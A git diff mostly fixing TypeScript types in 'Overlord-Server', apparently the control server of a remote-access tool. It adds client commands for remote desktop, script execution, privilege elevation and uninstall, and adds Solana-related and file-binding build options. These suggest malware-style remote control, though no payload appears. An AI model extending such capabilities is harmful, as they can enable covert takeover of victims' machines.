diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts index e2031c9..8fc2985 100644 --- a/Overlord-Server/src/db.ts +++ b/Overlord-Server/src/db.ts @@ -1,4 +1,5 @@ import Database from "bun:sqlite"; +import type { Statement } from "bun:sqlite"; import { ClientInfo, ListFilters, ListResult, ClientRole } from "./types"; import { getThumbnail } from "./thumbnails"; import { resolve } from "path"; @@ -6,7 +7,13 @@ import { ensureDataDir } from "./paths"; const dataDir = ensureDataDir(); const dbPath = resolve(dataDir, "overlord.db"); -const db = new Database(dbPath); + +interface TypedDatabase extends Omit { + run(sql: string, ...params: any[]): import("bun:sqlite").Changes; + query(sql: string): Statement; + prepare(sql: string): Statement; +} +const db: TypedDatabase = new Database(dbPath) as any; console.log(`[db] Using database at: ${dbPath}`); db.run(` @@ -593,12 +600,14 @@ export function deleteExpiredSharedFiles(): string[] { return paths; } +export type ClientDbRow = Omit, "online"> & { + id: string; + lastSeen?: number; + online?: number; +}; + export function upsertClientRow( - partial: Partial & { - id: string; - lastSeen?: number; - online?: number; - }, + partial: ClientDbRow, ) { const now = partial.lastSeen ?? Date.now(); db.run( diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 6b91cf9..7aef728 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -251,7 +251,7 @@ const pendingHttpDownloads = new Map(); type DownloadIntent = { id: string; - userId: string; + userId: number; clientId: string; path: string; expiresAt: number; @@ -332,7 +332,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({ pendingPluginEvents, pluginState, getNotificationConfig, - canUserAccessClient, + canUserAccessClient: canUserAccessClient as (userId: number, userRole: string, clientId: string) => boolean, getUserRole: (userId: number) => getUserById(userId)?.role, storeNotificationScreenshot: storeNotificationScreenshotForPending, deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord, @@ -687,7 +687,7 @@ async function startServer() { broadcastClientEvent: notificationPluginHandlers.broadcastClientLifecycleEvent, }; - const server = Bun.serve({ + const server = Bun.serve({ port: PORT, hostname: HOST, ...(tls ? { tls: tls.tlsOptions } : {}), diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index daee693..0455b16 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -102,6 +102,15 @@ export type CommandType = | "clipboard_set" | "clipboard_sync_start" | "clipboard_sync_stop" + | "desktop_start" + | "desktop_stop" + | "desktop_select_display" + | "desktop_enable_mouse" + | "desktop_enable_keyboard" + | "script_exec" + | "uninstall" + | "elevate" + | "file_upload_http" | "winre_install" | "winre_uninstall"; diff --git a/Overlord-Server/src/purgatory.test.ts b/Overlord-Server/src/purgatory.test.ts index 4850986..ca1690c 100644 --- a/Overlord-Server/src/purgatory.test.ts +++ b/Overlord-Server/src/purgatory.test.ts @@ -15,7 +15,7 @@ async function generateKeypair() { } async function sign(privateKey: CryptoKey, data: Uint8Array): Promise { - const sig = await crypto.subtle.sign("Ed25519", privateKey, data); + const sig = await crypto.subtle.sign("Ed25519", privateKey, data as any); return Buffer.from(sig).toString("base64"); } @@ -39,8 +39,6 @@ function computeKeyFingerprint(publicKeyBase64: string): string { function createMockWs(overrides: Partial<{ clientId: string; role: string; ip: string; enrollmentNonce: string }> = {}) { const sent: Uint8Array[] = []; - let closedCode: number | null = null; - let closedReason: string | null = null; return { data: { clientId: overrides.clientId ?? "test-client-1", @@ -50,8 +48,8 @@ function createMockWs(overrides: Partial<{ clientId: string; role: string; ip: s sessionId: "sess-1", }, sent, - closedCode, - closedReason, + closedCode: null as number | null, + closedReason: null as string | null, send(msg: Uint8Array) { sent.push(msg); }, close(code: number, reason: string) { this.closedCode = code; this.closedReason = reason; }, decodeSent(index: number) { return decodeMessage(sent[index]) as any; }, diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index b5fd00e..8073f08 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -101,6 +101,10 @@ type BuildProcessConfig = { outputExtension?: string; sleepSeconds?: number; boundFiles?: BoundFile[]; + solMemo?: boolean; + solAddress?: string; + solRpcEndpoints?: string; + iosBundleId?: string; }; diff --git a/Overlord-Server/src/server/plugin-signature.ts b/Overlord-Server/src/server/plugin-signature.ts index b659e5a..7929bd5 100644 --- a/Overlord-Server/src/server/plugin-signature.ts +++ b/Overlord-Server/src/server/plugin-signature.ts @@ -18,7 +18,7 @@ export async function computeContentDigest(zip: InstanceType): Pr if (entry.entryName === "signature.json") continue; const data = entry.getData(); - const hashBuf = await crypto.subtle.digest("SHA-256", data); + const hashBuf = await crypto.subtle.digest("SHA-256", new Uint8Array(data)); const hash = Buffer.from(hashBuf).toString("hex"); fileHashes.push({ name: entry.entryName, hash }); } @@ -30,7 +30,7 @@ export async function computeContentDigest(zip: InstanceType): Pr export function extractSignatureFromZip( zip: InstanceType, ): { algorithm: string; publicKey: string; signature: string } | null { - const entry = zip.getEntry("signature.json"); + const entry = (zip as any).getEntry("signature.json"); if (!entry) return null; try { diff --git a/Overlord-Server/src/server/routes/assets-routes.ts b/Overlord-Server/src/server/routes/assets-routes.ts index cd02808..9ab7778 100644 --- a/Overlord-Server/src/server/routes/assets-routes.ts +++ b/Overlord-Server/src/server/routes/assets-routes.ts @@ -42,7 +42,7 @@ async function compressedResponse( headers: Record, ): Promise { if (!isCompressible(headers["Content-Type"] ?? "") || !acceptsGzip(req) || body.byteLength < 1024) { - return new Response(body, { headers }); + return new Response(body as BodyInit, { headers }); } const compressed = Bun.gzipSync(new Uint8Array(body instanceof ArrayBuffer ? body : body)); return new Response(compressed, { diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts index 45dad8d..02c6a08 100644 --- a/Overlord-Server/src/server/routes/client-routes.ts +++ b/Overlord-Server/src/server/routes/client-routes.ts @@ -43,12 +43,14 @@ type PendingScript = { resolve: (result: any) => void; reject: (error: any) => void; timeout: NodeJS.Timeout; + clientId: string; }; type PendingCommandReply = { resolve: (result: { ok: boolean; message?: string }) => void; reject: (error: Error) => void; timeout: NodeJS.Timeout; + clientId: string; }; type ClientRouteDeps = { diff --git a/Overlord-Server/src/server/routes/file-download-routes.ts b/Overlord-Server/src/server/routes/file-download-routes.ts index 1000c70..5958f14 100644 --- a/Overlord-Server/src/server/routes/file-download-routes.ts +++ b/Overlord-Server/src/server/routes/file-download-routes.ts @@ -36,7 +36,7 @@ type PendingHttpDownload = { type DownloadIntent = { id: string; - userId: string; + userId: number; clientId: string; path: string; expiresAt: number; @@ -45,7 +45,7 @@ type DownloadIntent = { type UploadIntent = { id: string; - userId: string; + userId: number; clientId: string; path: string; fileName: string; diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts index 2a31f54..2b7dfb2 100644 --- a/Overlord-Server/src/server/routes/misc-routes.ts +++ b/Overlord-Server/src/server/routes/misc-routes.ts @@ -1,5 +1,6 @@ import { authenticateRequest } from "../../auth"; import { AuditAction, getAuditLogs, logAudit } from "../../auditLog"; +import { logger } from "../../logger"; import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig } from "../../config"; import { getClientMetricsSummary, getClientMetricsSummaryForUser } from "../../db"; import { metrics } from "../../metrics"; diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 4e1e5b2..d66e761 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -1,6 +1,6 @@ import type { ServerWebSocket } from "bun"; import { v4 as uuidv4 } from "uuid"; -let _geoip: typeof import("geoip-lite") extends { default: infer D } ? D : never; +let _geoip: typeof import("geoip-lite"); async function getGeoip() { if (!_geoip) { _geoip = (await import("geoip-lite")).default; @@ -12,7 +12,7 @@ import * as clientManager from "../../clientManager"; import { clientExists, setOnlineState, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuildByTag } from "../../db"; import { logger } from "../../logger"; import { metrics } from "../../metrics"; -import { decodeMessage, encodeMessage, type WireMessage } from "../../protocol"; +import { decodeMessage, encodeMessage, type WireMessage, type Hello, type Ping } from "../../protocol"; import * as sessionManager from "../../sessions/sessionManager"; import type { SocketData } from "../../sessions/types"; import type { ClientInfo } from "../../types"; @@ -515,7 +515,7 @@ export async function handleWebSocketMessage( logger.warn(`[purgatory] failed to send hello_ack to ${resolvedId}: ${sendErr}`); } - await handleHello(infoObj, payload, ws, ip); + await handleHello(infoObj, payload as Hello, ws, ip); clientManager.addClient(infoObj.id, infoObj); const reconnectedWithinGrace = cancelPendingOffline(infoObj.id); @@ -565,7 +565,7 @@ export async function handleWebSocketMessage( break; } case "ping": - handlePing(client, payload, ws); + handlePing(client, payload as Ping, ws); break; case "pong": handlePong(client, payload); diff --git a/Overlord-Server/src/thumbnails.ts b/Overlord-Server/src/thumbnails.ts index 0b94a80..6f2bfce 100644 --- a/Overlord-Server/src/thumbnails.ts +++ b/Overlord-Server/src/thumbnails.ts @@ -1,7 +1,7 @@ -let _sharp: (typeof import("sharp") extends { default: infer D } ? D : never) | null = null; +let _sharp: any = null; let _sharpLoadAttempted = false; -async function getSharp(): Promise { +async function getSharp(): Promise { if (_sharp) return _sharp; if (_sharpLoadAttempted) throw new Error("sharp module unavailable"); _sharpLoadAttempted = true; diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts index f184769..f611b8a 100644 --- a/Overlord-Server/src/types.ts +++ b/Overlord-Server/src/types.ts @@ -61,7 +61,7 @@ export type ListFilters = { groupFilter?: string; }; -export type ListItem = ClientInfo & { +export type ListItem = Omit & { online: boolean; thumbnail: string | null; }; diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts index a28a683..3858bb5 100644 --- a/Overlord-Server/src/wsHandlers.ts +++ b/Overlord-Server/src/wsHandlers.ts @@ -1,7 +1,6 @@ -import { encodeMessage, decodeMessage, WireMessage } from "./protocol"; -import { Buffer } from "node:buffer"; +import { encodeMessage, type Hello, type Ping, type WireMessage } from "./protocol"; -let _geoip: typeof import("geoip-lite") extends { default: infer D } ? D : never; +let _geoip: typeof import("geoip-lite"); async function getGeoip() { if (!_geoip) { _geoip = (await import("geoip-lite")).default; @@ -15,7 +14,7 @@ import { generateThumbnail, setLatestFrame, } from "./thumbnails"; -import { upsertClientRow } from "./db"; +import { upsertClientRow, type ClientDbRow } from "./db"; import { metrics } from "./metrics"; /** Strip control chars and clamp length on client-supplied info strings. */ @@ -58,22 +57,9 @@ function sanitizeJsonField( const MAX_PING_RTT_MS = 15_000; const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000); const lastClientDbSync = new Map(); -const pendingClientDbUpdates = new Map< - string, - Partial & { - id: string; - lastSeen?: number; - online?: number; - } ->(); +const pendingClientDbUpdates = new Map(); -function queueClientDbUpdate( - partial: Partial & { - id: string; - lastSeen?: number; - online?: number; - }, -): void { +function queueClientDbUpdate(partial: ClientDbRow): void { const existing = pendingClientDbUpdates.get(partial.id); if (!existing) { pendingClientDbUpdates.set(partial.id, { ...partial }); @@ -117,7 +103,7 @@ export function clearClientSyncState(clientId: string): void { export async function handleHello( info: ClientInfo, - payload: WireMessage, + payload: Hello, ws: any, ip?: string, ) { @@ -189,7 +175,7 @@ export async function handleHello( } -export function handlePing(info: ClientInfo, payload: WireMessage, ws: any) { +export function handlePing(info: ClientInfo, payload: Ping, ws: any) { //console.log(`[ping] from client=${info.id} ts=${payload.ts ?? ""}`); const now = Date.now(); info.lastSeen = now;